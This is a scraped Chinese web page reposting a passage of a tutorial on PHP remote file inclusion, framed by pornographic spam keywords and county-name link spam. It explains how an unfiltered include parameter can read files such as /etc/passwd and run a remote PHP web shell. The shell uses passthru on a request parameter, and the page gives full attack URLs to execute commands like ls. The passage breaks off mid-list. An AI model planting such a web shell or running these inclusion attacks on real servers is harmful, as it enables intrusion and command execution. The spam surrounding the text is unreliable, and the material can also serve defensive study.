国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 網站 > 幫助中心 > 正文

php 遠程包含文件漏洞分析第6/6頁

2024-07-09 22:41:13
字體:
來源:轉載
供稿:網友
空的話就執行else,來include home.php 這個文件。

三、為什么會產生漏洞

你也許要說,這樣很好呀,可以按照URL來動態包含文件,多么方便呀,怎么產生漏洞的呢?問題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會按照他的鏈接來操作,我們可能想自己寫想包含(調用)的文件,比如我們會隨便的打入下面這個URL:http: //www.jb51.net/php/index.php?page=hello.php。然后我們的index.php程序就傻傻按照上面我們說得步驟去執行:取page為hello.php,然后去include(hello.php),這時問題出現了,因為我們并沒有hello.php這個文件,所以它 include的時候就會報警告,類似下列信息:

Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/php/index.php on line 3

注意上面的那個Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因為前面沒有找到指定文件,所以包含的時候就出警告了。

四、怎么利用

上面可以看到,問題出現了,那么我們怎么利用這樣的漏洞呢,利用方法其實很多,但是實質上都是差不多的,我這里說三個比較常見的利用方法:

1.包含讀出目標機上其它文件

由前面我們可以看到,由于對取得的參數page沒有過濾,于是我們可以任意指定目標主機上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對路徑(vhost/php/),那么我們就可以多次探測來包含其它文件,比如指定URL為:http: //www.jb51.net/php/index.php?page=./txt.txt 可以讀出當前路徑下的txt.txt文件,也可以使用.. /../進行目錄跳轉(在沒過濾../的情況下);也可以直接指定絕對路徑,讀取敏感的系統文件,比如這個URL:http: //www.jb51.net/php/index.php?page=/etc/passwd ,如果目標主機沒有對權限限制的很嚴格,或者啟動 Apache的權限比較高,是可以讀出這個文件內容的。否則就會得到一個類似于:open_basedir restriction in effect.的Warning。

2.包含可運行的PHP木馬

如果目標主機的"allow_url_fopen"是激活的(默認是激活的,沒幾個人會修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP代碼的webshell來直接運行,比如,我先寫一段運行命令的PHP代碼(加了注釋,應該看得懂),如下保存為cmd.txt(后綴不重要,只要內容為PHP格式就可以了)。
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉義字符(可去掉字符串中的反斜線字符)
ini_set("max_execution_time",0); //設定針對這個文件的執行時間,0為不限制.
echo "
1.S.T
";      //打印的返回的開始行提示信息
passthru($_REQUEST["cmd"]);   //運行cmd指定的命令
echo "
1.S.T
";      //打印的返回的結束行提示信息
?>
以上這個文件的作用就是接受cmd指定的命令,并調用passthru函數執行,把內容返回在1.S.T之間。把這個文件保存到我們主機的服務器上(可以是不支持PHP的主機),只要能通過HTTP訪問到就可以了,例如地址如下:http: //www.jb51.net/cmd.txt ,然后我們就可以在那個漏洞主機上構造如下URL來利用了:http: //www.jb51.net/php/index.php?page=//www.jb51.net/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要執行的命令,其它常用的命令(以*UNIX為例)如下:
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 枞阳县| 张北县| 庄河市| 边坝县| 怀安县| 菏泽市| 邹平县| 新蔡县| 阳高县| 平利县| 金坛市| 师宗县| 乌恰县| 乌审旗| 南汇区| 宿迁市| 茶陵县| 东丽区| 育儿| 吴江市| 巴马| 汉源县| 昭平县| 汪清县| 宜兰县| 江口县| 龙井市| 木里| 邹平县| 沈丘县| 田东县| 新蔡县| 漳平市| 洪湖市| 河池市| 锡林郭勒盟| 阳新县| 富顺县| 大城县| 应城市| 兴文县|